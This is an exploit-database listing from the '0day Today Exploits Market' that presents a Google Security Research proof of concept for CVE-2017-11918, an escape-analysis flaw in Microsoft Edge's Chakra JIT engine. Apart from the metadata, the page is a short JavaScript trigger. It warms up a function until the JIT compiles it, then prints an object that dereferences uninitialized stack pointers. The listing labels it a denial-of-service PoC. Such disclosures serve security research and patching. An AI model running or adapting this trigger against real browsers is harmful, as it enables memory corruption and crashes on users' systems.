[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Microsoft Edge Chakra JIT - Escape Analysis Bug Exploit

Author
Google Security Research
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-29410
Category
dos / poc
Date add
09-01-2018
CVE
CVE-2017-11918
Platform
windows
/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis
 
Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.
 
PoC:
*/
 
function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}
 
function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }
 
    print(opt());  // deref uninitialized stack pointers!
}
 
main();

#  0day.today [2024-11-16]  #